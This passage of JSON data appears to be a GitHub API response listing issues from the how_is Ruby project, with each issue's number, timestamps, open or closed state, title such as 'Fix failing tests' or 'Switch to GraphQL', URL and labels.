exports","url":"https://github.com/how-is/how_is/issues/13","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xN1QxODozMjoxMS0wNDowMM4JmHcQ","node":{"number":15,"createdAt":"2016-06-17T22:32:11Z","closedAt":"2016-06-22T20:31:11Z","updatedAt":"2016-06-22T20:31:15Z","state":"CLOSED","title":"Fix failing tests","url":"https://github.com/how-is/how_is/issues/15","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0yNVQyMDozNDowOS0wNDowMM4JrJkW","node":{"number":16,"createdAt":"2016-06-26T00:34:09Z","closedAt":"2016-07-13T12:06:09Z","updatedAt":"2016-07-13T12:08:13Z","state":"CLOSED","title":"Exception when running `how_is duckinator/how_is` from master","url":"https://github.com/how-is/how_is/issues/16","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0yN1QxODoyNzozNC0wNDowMM4JsILe","node":{"number":18,"createdAt":"2016-06-27T22:27:34Z","closedAt":"2016-09-30T01:42:38Z","updatedAt":"2016-09-30T01:42:42Z","state":"CLOSED","title":"Links","url":"https://github.com/how-is/how_is/issues/18","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0yN1QxODoyODozMS0wNDowMM4JsIN8","node":{"number":19,"createdAt":"2016-06-27T22:28:31Z","closedAt":"2016-07-19T07:23:18Z","updatedAt":"2016-07-19T07:23:22Z","state":"CLOSED","title":"Monthly summary","url":"https://github.com/how-is/how_is/issues/19","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNy0xM1QyMDo1MTowNC0wNDowMM4J3J96","node":{"number":21,"createdAt":"2016-07-14T00:51:04Z","closedAt":"2016-08-07T03:31:25Z","updatedAt":"2016-08-07T03:31:25Z","state":"CLOSED","title":"Intermittent off-by-one date error in Analyzer#average_date_for test","url":"https://github.com/how-is/how_is/issues/21","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wMlQwNDoyMzo0Mi0wNDowMM4KEBeT","node":{"number":25,"createdAt":"2016-08-02T08:23:42Z","closedAt":"2016-08-20T19:06:33Z","updatedAt":"2016-08-20T19:06:36Z","state":"CLOSED","title":"report generation fails","url":"https://github.com/how-is/how_is/issues/25","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wM1QwMTo0NDo1Mi0wNDowMM4KE4su","node":{"number":26,"createdAt":"2016-08-03T05:44:52Z","closedAt":"2016-10-12T06:34:21Z","updatedAt":"2016-10-12T06:34:25Z","state":"CLOSED","title":"Integration tests","url":"https://github.com/how-is/how_is/issues/26","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wNlQyMzozMzo1MC0wNDowMM4KHptC","node":{"number":29,"createdAt":"2016-08-07T03:33:50Z","closedAt":"2016-08-07T03:36:36Z","updatedAt":"2016-08-07T03:36:36Z","state":"CLOSED","title":"Warning when executing how_is","url":"https://github.com/how-is/how_is/issues/29","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wNlQyMzo1MDoxMi0wNDowMM4KHpzP","node":{"number":32,"createdAt":"2016-08-07T03:50:12Z","closedAt":"2016-08-07T08:02:06Z","updatedAt":"2016-08-07T08:02:06Z","state":"CLOSED","title":"`how_is rubygems/rubygems` raises contract violation","url":"https://github.com/how-is/how_is/issues/32","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wN1QwMDowODoyMS0wNDowMM4KHp6D","node":{"number":33,"createdAt":"2016-08-07T04:08:21Z","closedAt":"2016-08-07T08:59:17Z","updatedAt":"2016-08-07T08:59:17Z","state":"CLOSED","title":"Help text is outdated.","url":"https://github.com/how-is/how_is/issues/33","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0wN1QwNDo1ODozMi0wNDowMM4KHr8U","node":{"number":36,"createdAt":"2016-08-07T08:58:32Z","closedAt":"2016-10-12T06:34:02Z","updatedAt":"2016-10-12T06:34:06Z","state":"CLOSED","title":"Make integration tests not rely on GitHub API","url":"https://github.com/how-is/how_is/issues/36","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0xMVQyMzo0NDozMi0wNDowMM4KLhsB","node":{"number":37,"createdAt":"2016-08-12T03:44:32Z","closedAt":"2016-10-12T06:33:08Z","updatedAt":"2016-10-12T06:33:12Z","state":"CLOSED","title":"Use VCR instead of files containing API responses","url":"https://github.com/how-is/how_is/issues/37","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0yMFQxNTowNTowNi0wNDowMM4KRN7h","node":{"number":41,"createdAt":"2016-08-20T19:05:06Z","closedAt":"2017-04-30T06:31:22Z","updatedAt":"2017-04-30T06:31:33Z","state":"CLOSED","title":"Make CONFIG_FILE optional when using --config.","url":"https://github.com/how-is/how_is/issues/41","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOC0yMFQxOTowMDoxMS0wNDowMM4KRQQx","node":{"number":42,"createdAt":"2016-08-20T23:00:11Z","closedAt":"2016-08-26T20:50:30Z","updatedAt":"2016-08-26T20:50:52Z","state":"CLOSED","title":"--version is broken","url":"https://github.com/how-is/how_is/issues/42","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wMVQyMTozNTowNC0wNDowMM4KaSN0","node":{"number":45,"createdAt":"2016-09-02T01:35:04Z","closedAt":"2016-09-30T01:43:07Z","updatedAt":"2016-09-30T01:43:07Z","state":"CLOSED","title":"Document library usage.","url":"https://github.com/how-is/how_is/issues/45","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wMVQyMjozNzoxNC0wNDowMM4KaTor","node":{"number":48,"createdAt":"2016-09-02T02:37:14Z","closedAt":"2016-10-06T01:48:21Z","updatedAt":"2016-10-06T01:48:25Z","state":"CLOSED","title":"HTML graph messes up \"(No label)\" graph label","url":"https://github.com/how-is/how_is/issues/48","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wMVQyMjo0MjozNS0wNDowMM4KaTwh","node":{"number":49,"createdAt":"2016-09-02T02:42:35Z","closedAt":"2016-10-11T23:31:15Z","updatedAt":"2016-10-11T23:31:15Z","state":"CLOSED","title":"Handle singular/plural PRs and issues properly","url":"https://github.com/how-is/how_is/issues/49","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wMlQwMzo0NzowMy0wNDowMM4KabcR","node":{"number":50,"createdAt":"2016-09-02T07:47:03Z","closedAt":"2016-09-30T20:40:38Z","updatedAt":"2016-09-30T20:40:42Z","state":"CLOSED","title":"Specify period for reports","url":"https://github.com/how-is/how_is/issues/50","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0wM1QwNzozNDoyNy0wNDowMM4KbKal","node":{"number":51,"createdAt":"2016-09-03T11:34:27Z","closedAt":"2016-09-03T23:06:22Z","updatedAt":"2016-09-03T23:06:22Z","state":"CLOSED","title":"Unknown option --report-file referenced in the README","url":"https://github.com/how-is/how_is/issues/51","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0yOFQyMDo0Mjo1NC0wNDowMM4KuXSf","node":{"number":52,"createdAt":"2016-09-29T00:42:54Z","closedAt":"2017-02-14T23:02:18Z","updatedAt":"2017-02-14T23:02:18Z","state":"CLOSED","title":"Move from_config/from_config_file out of HowIs::CLI","url":"https://github.com/how-is/how_is/issues/52","labels":{"nodes":[{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0zMFQyMDo1OTozNy0wNDowMM4KwSGS","node":{"number":56,"createdAt":"2016-10-01T00:59:37Z","closedAt":"2016-10-02T03:46:28Z","updatedAt":"2016-10-02T03:46:31Z","state":"CLOSED","title":"Remove how_is/chart.rb","url":"https://github.com/how-is/how_is/issues/56","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wOS0zMFQyMToxMzozOC0wNDowMM4KwSRk","node":{"number":57,"createdAt":"2016-10-01T01:13:38Z","closedAt":"2016-10-02T03:50:08Z","updatedAt":"2016-10-02T03:50:12Z","state":"CLOSED","title":"Rename export! to export_file","url":"https://github.com/how-is/how_is/issues/57","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0wNVQyMTozNTo1Mi0wNDowMM4KzoDH","node":{"number":61,"createdAt":"2016-10-06T01:35:52Z","closedAt":"2016-10-06T02:27:48Z","updatedAt":"2016-10-06T02:27:52Z","state":"CLOSED","title":"`how_is how-is/how_is` is broken","url":"https://github.com/how-is/how_is/issues/61","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0yNFQxNzo0NzoyMi0wNDowMM4LBlMe","node":{"number":68,"createdAt":"2016-10-24T21:47:22Z","closedAt":"2016-11-02T01:46:49Z","updatedAt":"2016-11-02T01:46:53Z","state":"CLOSED","title":"Failing tests.","url":"https://github.com/how-is/how_is/issues/68","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0zMVQxNjo0NjoyNS0wNDowMM4LHCH4","node":{"number":69,"createdAt":"2016-10-31T20:46:25Z","closedAt":"2016-11-25T15:53:24Z","updatedAt":"2016-11-25T15:53:28Z","state":"CLOSED","title":"newest PR/issue","url":"https://github.com/how-is/how_is/issues/69","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0zMVQxNjo0NzoxOC0wNDowMM4LHCLK","node":{"number":70,"createdAt":"2016-10-31T20:47:18Z","closedAt":"2016-11-25T15:15:35Z","updatedAt":"2016-11-25T15:15:39Z","state":"CLOSED","title":"convert average age/oldest/newest to lists","url":"https://github.com/how-is/how_is/issues/70","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMC0zMVQxNjo1MDowMi0wNDowMM4LHCVU","node":{"number":71,"createdAt":"2016-10-31T20:50:02Z","closedAt":"2018-11-22T21:59:35Z","updatedAt":"2018-11-22T21:59:35Z","state":"CLOSED","title":"group Issues Per Label by category type","url":"https://github.com/how-is/how_is/issues/71","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xMVQwMTo1MzozMC0wNTowMM4LP0nU","node":{"number":75,"createdAt":"2016-11-11T06:53:30Z","closedAt":"2016-11-13T03:07:50Z","updatedAt":"2016-11-13T03:07:54Z","state":"CLOSED","title":"Release v11.0","url":"https://github.com/how-is/how_is/issues/75","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xMlQyMTozMzozMS0wNTowMM4LQx3F","node":{"number":76,"createdAt":"2016-11-13T02:33:31Z","closedAt":"2016-11-13T05:09:53Z","updatedAt":"2016-11-13T05:09:53Z","state":"CLOSED","title":"Extract BaseReport","url":"https://github.com/how-is/how_is/issues/76","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xMlQyMTozNDo1OS0wNTowMM4LQx33","node":{"number":77,"createdAt":"2016-11-13T02:34:59Z","closedAt":"2016-11-13T05:16:59Z","updatedAt":"2016-11-13T05:16:59Z","state":"CLOSED","title":"Define unimplemented BaseReport methods","url":"https://github.com/how-is/how_is/issues/77","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0xMlQyMTozNjo1MC0wNTowMM4LQx4p","node":{"number":78,"createdAt":"2016-11-13T02:36:50Z","closedAt":"2016-11-26T12:48:42Z","updatedAt":"2016-11-26T12:48:45Z","state":"CLOSED","title":"make issue_or_pr_summary use kwargs","url":"https://github.com/how-is/how_is/issues/78","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNVQxMDoyOToyOC0wNTowMM4LbXx4","node":{"number":84,"createdAt":"2016-11-25T15:29:28Z","closedAt":"2016-11-26T12:47:34Z","updatedAt":"2016-11-26T12:47:34Z","state":"CLOSED","title":"Rake task(s) for regenerating example reports.","url":"https://github.com/how-is/how_is/issues/84","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMS0yNlQwODoxMTo1OS0wNTowMM4Lbret","node":{"number":87,"createdAt":"2016-11-26T13:11:59Z","closedAt":"2017-07-02T00:37:15Z","updatedAt":"2017-07-21T21:27:38Z","state":"CLOSED","title":"Number of PRs/issues not updated in the past month","url":"https://github.com/how-is/how_is/issues/87","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0wN1QwOTo0MzozOC0wNTowMM4LkTv_","node":{"number":91,"createdAt":"2016-12-07T14:43:38Z","closedAt":"2016-12-11T01:30:30Z","updatedAt":"2016-12-11T01:31:26Z","state":"CLOSED","title":"ZeroDivisionError","url":"https://github.com/how-is/how_is/issues/91","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xMFQyMjo1Mjo0OS0wNTowMM4LnJOM","node":{"number":93,"createdAt":"2016-12-11T03:52:49Z","closedAt":null,"updatedAt":"2019-03-16T20:00:37Z","state":"OPEN","title":"Include release information in reports","url":"https://github.com/how-is/how_is/issues/93","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0xMVQwMTowMzozNC0wNTowMM4LnKSO","node":{"number":95,"createdAt":"2016-12-11T06:03:34Z","closedAt":"2017-12-08T23:40:17Z","updatedAt":"2017-12-08T23:40:39Z","state":"CLOSED","title":"Rake task for clearing VCR cache","url":"https://github.com/how-is/how_is/issues/95","labels":{"nodes":[{"name":"size: small"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0yMlQwMjoxNzoxNi0wNTowMM4Lv6jO","node":{"number":99,"createdAt":"2016-12-22T07:17:16Z","closedAt":"2017-07-02T00:34:11Z","updatedAt":"2017-07-02T00:34:20Z","state":"CLOSED","title":"Number of PRs/issues opened in past month","url":"https://github.com/how-is/how_is/issues/99","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0yMlQwMjoyMDowMy0wNTowMM4Lv6pF","node":{"number":100,"createdAt":"2016-12-22T07:20:03Z","closedAt":"2017-01-08T08:48:48Z","updatedAt":"2017-02-14T22:49:29Z","state":"CLOSED","title":"Have change log link to tags","url":"https://github.com/how-is/how_is/issues/100","labels":{"nodes":[{"name":"type: documentation"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0yMlQwNTo1MjoyNy0wNTowMM4LwDz0","node":{"number":101,"createdAt":"2016-12-22T10:52:27Z","closedAt":null,"updatedAt":"2019-03-16T20:00:37Z","state":"OPEN","title":"Pull data from ISSUES.md if it exists","url":"https://github.com/how-is/how_is/issues/101","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0yNVQwMDowNToyMS0wNTowMM4LxWwe","node":{"number":102,"createdAt":"2016-12-25T05:05:21Z","closedAt":"2016-12-25T05:27:36Z","updatedAt":"2016-12-25T05:27:36Z","state":"CLOSED","title":"Add ISSUES.md","url":"https://github.com/how-is/how_is/issues/102","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0zMVQxNjoyNDozMi0wNTowMM4L0QNR","node":{"number":105,"createdAt":"2016-12-31T21:24:32Z","closedAt":"2017-07-02T00:34:26Z","updatedAt":"2017-07-02T00:34:26Z","state":"CLOSED","title":"Number of PRs merged in the past month.","url":"https://github.com/how-is/how_is/issues/105","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0xMi0zMVQxNjoyNTo1Ni0wNTowMM4L0QNy","node":{"number":106,"createdAt":"2016-12-31T21:25:56Z","closedAt":"2017-07-02T00:34:30Z","updatedAt":"2017-07-02T00:34:30Z","state":"CLOSED","title":"Number of issues closed in the past month","url":"https://github.com/how-is/how_is/issues/106","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yMVQyMzowNTowMS0wNTowMM4MD77b","node":{"number":110,"createdAt":"2017-01-22T04:05:01Z","closedAt":"2017-07-21T21:05:19Z","updatedAt":"2017-07-21T21:05:31Z","state":"CLOSED","title":"Include JSON reports in HTML reports","url":"https://github.com/how-is/how_is/issues/110","labels":{"nodes":[{"name":"size: small"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yMVQyMzowODoyNC0wNTowMM4MD79l","node":{"number":111,"createdAt":"2017-01-22T04:08:24Z","closedAt":"2019-04-12T20:48:46Z","updatedAt":"2019-04-12T20:48:46Z","state":"CLOSED","title":"Track data over time","url":"https://github.com/how-is/how_is/issues/111","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yNlQxODoyNzowNS0wNTowMM4MIXcT","node":{"number":114,"createdAt":"2017-01-26T23:27:05Z","closedAt":"2017-02-09T18:09:32Z","updatedAt":"2017-02-09T18:09:32Z","state":"CLOSED","title":"correct readme","url":"https://github.com/how-is/how_is/issues/114","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yNlQyMjozNDo0Mi0wNTowMM4MIfKg","node":{"number":115,"createdAt":"2017-01-27T03:34:42Z","closedAt":"2017-02-09T16:39:05Z","updatedAt":"2017-02-09T16:39:06Z","state":"CLOSED","title":"design an API","url":"https://github.com/how-is/how_is/issues/115","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMS0yN1QxNzoxNzowMy0wNTowMM4MJQrc","node":{"number":116,"createdAt":"2017-01-27T22:17:03Z","closedAt":"2017-02-09T19:06:53Z","updatedAt":"2017-02-09T19:06:57Z","state":"CLOSED","title":"include data from GitHub Pulse in Analysis","url":"https://github.com/how-is/how_is/issues/116","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxMTozOTozMy0wNTowMM4MT9Qh","node":{"number":118,"createdAt":"2017-02-09T16:39:33Z","closedAt":"2017-02-09T18:10:55Z","updatedAt":"2017-02-09T18:10:55Z","state":"CLOSED","title":"Update documentation with API changes","url":"https://github.com/how-is/how_is/issues/118","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxMjowMzoxMC0wNTowMM4MT_Fm","node":{"number":121,"createdAt":"2017-02-09T17:03:10Z","closedAt":"2017-02-09T18:23:51Z","updatedAt":"2017-02-09T18:23:55Z","state":"CLOSED","title":"Remove dead code","url":"https://github.com/how-is/how_is/issues/121","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxMzowNjo0MC0wNTowMM4MUDm9","node":{"number":122,"createdAt":"2017-02-09T18:06:40Z","closedAt":"2017-11-17T15:27:56Z","updatedAt":"2017-12-08T23:34:36Z","state":"CLOSED","title":"Use APIs instead of scraping /pulse","url":"https://github.com/how-is/how_is/issues/122","labels":{"nodes":[{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0wOVQxMzozNzo1Ny0wNTowMM4MUFho","node":{"number":124,"createdAt":"2017-02-09T18:37:57Z","closedAt":"2017-07-14T12:22:25Z","updatedAt":"2017-07-14T12:22:25Z","state":"CLOSED","title":"Fix warnings when running `rake spec`","url":"https://github.com/how-is/how_is/issues/124","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xMlQxNzo1NjozMC0wNTowMM4MV-1m","node":{"number":133,"createdAt":"2017-02-12T22:56:30Z","closedAt":"2017-09-17T07:10:06Z","updatedAt":"2017-09-17T07:10:06Z","state":"CLOSED","title":"Export cleanup","url":"https://github.com/how-is/how_is/issues/133","labels":{"nodes":[{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNFQxNzowNTowMi0wNTowMM4MYH2d","node":{"number":134,"createdAt":"2017-02-14T22:05:02Z","closedAt":"2017-02-15T02:02:25Z","updatedAt":"2017-07-21T21:30:47Z","state":"CLOSED","title":"Is :from_file still an option?","url":"https://github.com/how-is/how_is/issues/134","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNFQxNzoxNTo0Ny0wNTowMM4MYIcj","node":{"number":135,"createdAt":"2017-02-14T22:15:47Z","closedAt":"2017-02-15T00:33:07Z","updatedAt":"2017-07-21T21:30:52Z","state":"CLOSED","title":"Why is rack required?","url":"https://github.com/how-is/how_is/issues/135","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNFQxNzoyNjowMS0wNTowMM4MYJAH","node":{"number":136,"createdAt":"2017-02-14T22:26:01Z","closedAt":"2017-02-15T02:20:27Z","updatedAt":"2017-07-21T21:30:44Z","state":"CLOSED","title":"Move --from documentation to README","url":"https://github.com/how-is/how_is/issues/136","labels":{"nodes":[{"name":"type: documentation"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNFQxNzoyODo1NC0wNTowMM4MYJKs","node":{"number":137,"createdAt":"2017-02-14T22:28:54Z","closedAt":"2017-02-15T02:02:25Z","updatedAt":"2017-07-21T21:30:49Z","state":"CLOSED","title":":from != :from_file","url":"https://github.com/how-is/how_is/issues/137","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNFQxNzozMjoxMS0wNTowMM4MYJV6","node":{"number":138,"createdAt":"2017-02-14T22:32:11Z","closedAt":"2017-09-28T13:50:55Z","updatedAt":"2017-09-28T13:50:59Z","state":"CLOSED","title":"Make internal-only methods private","url":"https://github.com/how-is/how_is/issues/138","labels":{"nodes":[{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNFQxODozMDoyNS0wNTowMM4MYMGC","node":{"number":140,"createdAt":"2017-02-14T23:30:25Z","closedAt":"2017-02-15T00:32:50Z","updatedAt":"2017-02-15T00:32:50Z","state":"CLOSED","title":"Determine what is using open-uri","url":"https://github.com/how-is/how_is/issues/140","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMi0xNFQyMDo0NDo0Mi0wNTowMM4MYQ6w","node":{"number":142,"createdAt":"2017-02-15T01:44:42Z","closedAt":"2017-09-28T13:46:21Z","updatedAt":"2017-09-28T13:46:25Z","state":"CLOSED","title":"Analysis/Analyzer refactor.","url":"https://github.com/how-is/how_is/issues/142","labels":{"nodes":[{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0wNFQxNDo0ODoyNy0wNTowMM4MoWBB","node":{"number":145,"createdAt":"2017-03-04T19:48:27Z","closedAt":null,"updatedAt":"2019-03-16T20:00:37Z","state":"OPEN","title":"long-term plans","url":"https://github.com/how-is/how_is/issues/145","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wMy0xMVQxMjoxOTo1Mi0wNTowMM4MumhU","node":{"number":149,"createdAt":"2017-03-11T17:19:52Z","closedAt":"2017-04-02T20:58:03Z","updatedAt":"2017-04-02T20:58:03Z","state":"CLOSED","title":"Issue: report.html renders only #","url":"https://github.com/how-is/how_is/issues/149","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0wMlQxNjo1MzoyMi0wNDowMM4NCoNi","node":{"number":151,"createdAt":"2017-04-02T20:53:22Z","closedAt":"2018-09-15T01:25:52Z","updatedAt":"2018-09-15T01:25:52Z","state":"CLOSED","title":"Exporting to HTML file returns HTML partial","url":"https://github.com/how-is/how_is/issues/151","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0wM1QwMTo0Mzo0OS0wNDowMM4NCyjn","node":{"number":152,"createdAt":"2017-04-03T05:43:49Z","closedAt":"2018-11-22T22:04:10Z","updatedAt":"2018-11-22T22:04:10Z","state":"CLOSED","title":"Better visualization of ''Issues Per Label'' section","url":"https://github.com/how-is/how_is/issues/152","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0wM1QyMzoxMTo1MS0wNDowMM4ND6UF","node":{"number":153,"createdAt":"2017-04-04T03:11:51Z","closedAt":"2017-05-26T10:20:46Z","updatedAt":"2017-05-26T10:20:46Z","state":"CLOSED","title":"Remove from_config_file from docs","url":"https://github.com/how-is/how_is/issues/153","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0yMFQxMjozNzoyOC0wNDowMM4NTKoD","node":{"number":154,"createdAt":"2017-04-20T16:37:28Z","closedAt":"2017-05-25T23:15:39Z","updatedAt":"2017-07-14T19:55:05Z","state":"CLOSED","title":"No report and Hashie::Mash#default warnings","url":"https://github.com/how-is/how_is/issues/154","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0zMFQwNDowNjo0NS0wNDowMM4Nbf22","node":{"number":155,"createdAt":"2017-04-30T08:06:45Z","closedAt":"2017-05-26T08:11:38Z","updatedAt":"2017-05-26T08:11:38Z","state":"CLOSED","title":"\"Invalid file\" error doesn''t include filename.","url":"https://github.com/how-is/how_is/issues/155","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNC0zMFQwNDoxODo1My0wNDowMM4Nbf-7","node":{"number":156,"createdAt":"2017-04-30T08:18:53Z","closedAt":"2017-05-25T23:17:36Z","updatedAt":"2017-05-25T23:17:36Z","state":"CLOSED","title":"HowIs::CLI refactor","url":"https://github.com/how-is/how_is/issues/156","labels":{"nodes":[{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNi0xOVQxNzowMToxNC0wNDowMM4OIK5K","node":{"number":163,"createdAt":"2017-06-19T21:01:14Z","closedAt":null,"updatedAt":"2019-03-16T20:00:38Z","state":"OPEN","title":"Track test suite execution time","url":"https://github.com/how-is/how_is/issues/163","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0wMVQyMDozMzo1Ni0wNDowMM4OTdBN","node":{"number":164,"createdAt":"2017-07-02T00:33:56Z","closedAt":null,"updatedAt":"2019-04-12T20:10:26Z","state":"OPEN","title":"Monthly PR/issue activity","url":"https://github.com/how-is/how_is/issues/164","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNFQwODoyMTo1OC0wNDowMM4Oe50-","node":{"number":168,"createdAt":"2017-07-14T12:21:58Z","closedAt":"2017-07-14T18:21:13Z","updatedAt":"2017-07-14T18:21:13Z","state":"CLOSED","title":"Stop using hashie''s master branch","url":"https://github.com/how-is/how_is/issues/168","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0xNFQxNjowMjo0NS0wNDowMM4OfWFv","node":{"number":172,"createdAt":"2017-07-14T20:02:45Z","closedAt":"2017-08-05T21:22:47Z","updatedAt":"2017-08-05T21:22:51Z","state":"CLOSED","title":"Track new contributors","url":"https://github.com/how-is/how_is/issues/172","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0yMVQxNzowMDoyMC0wNDowMM4OlxTS","node":{"number":181,"createdAt":"2017-07-21T21:00:20Z","closedAt":null,"updatedAt":"2019-04-12T20:48:19Z","state":"OPEN","title":"Ruby Together monthly update generator","url":"https://github.com/how-is/how_is/issues/181","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wNy0yNFQxOToxNTozOC0wNDowMM4Ongqn","node":{"number":185,"createdAt":"2017-07-24T23:15:38Z","closedAt":"2017-08-09T09:41:04Z","updatedAt":"2017-08-09T09:41:04Z","state":"CLOSED","title":"Only enable VCR when used","url":"https://github.com/how-is/how_is/issues/185","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0wNlQwOTozMTo0OC0wNDowMM4Oy_SQ","node":{"number":189,"createdAt":"2017-08-06T13:31:48Z","closedAt":null,"updatedAt":"2019-03-16T20:00:38Z","state":"OPEN","title":"Switch to GraphQL","url":"https://github.com/how-is/how_is/issues/189","labels":{"nodes":[{"name":"size: large"},{"name":"type: refactoring"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNy0wOC0wOFQyMDoxNjoyNC0wNDowMM4O1aXs","node":{"number":194,"createdAt":"2017-08-09T00:16:24Z","closedAt":"2017-10-01T02:52:55Z","updatedAt":"2017-10-01T02:53:18Z","state":"CLOSED","title":"Refactor + improve tests for Contributions 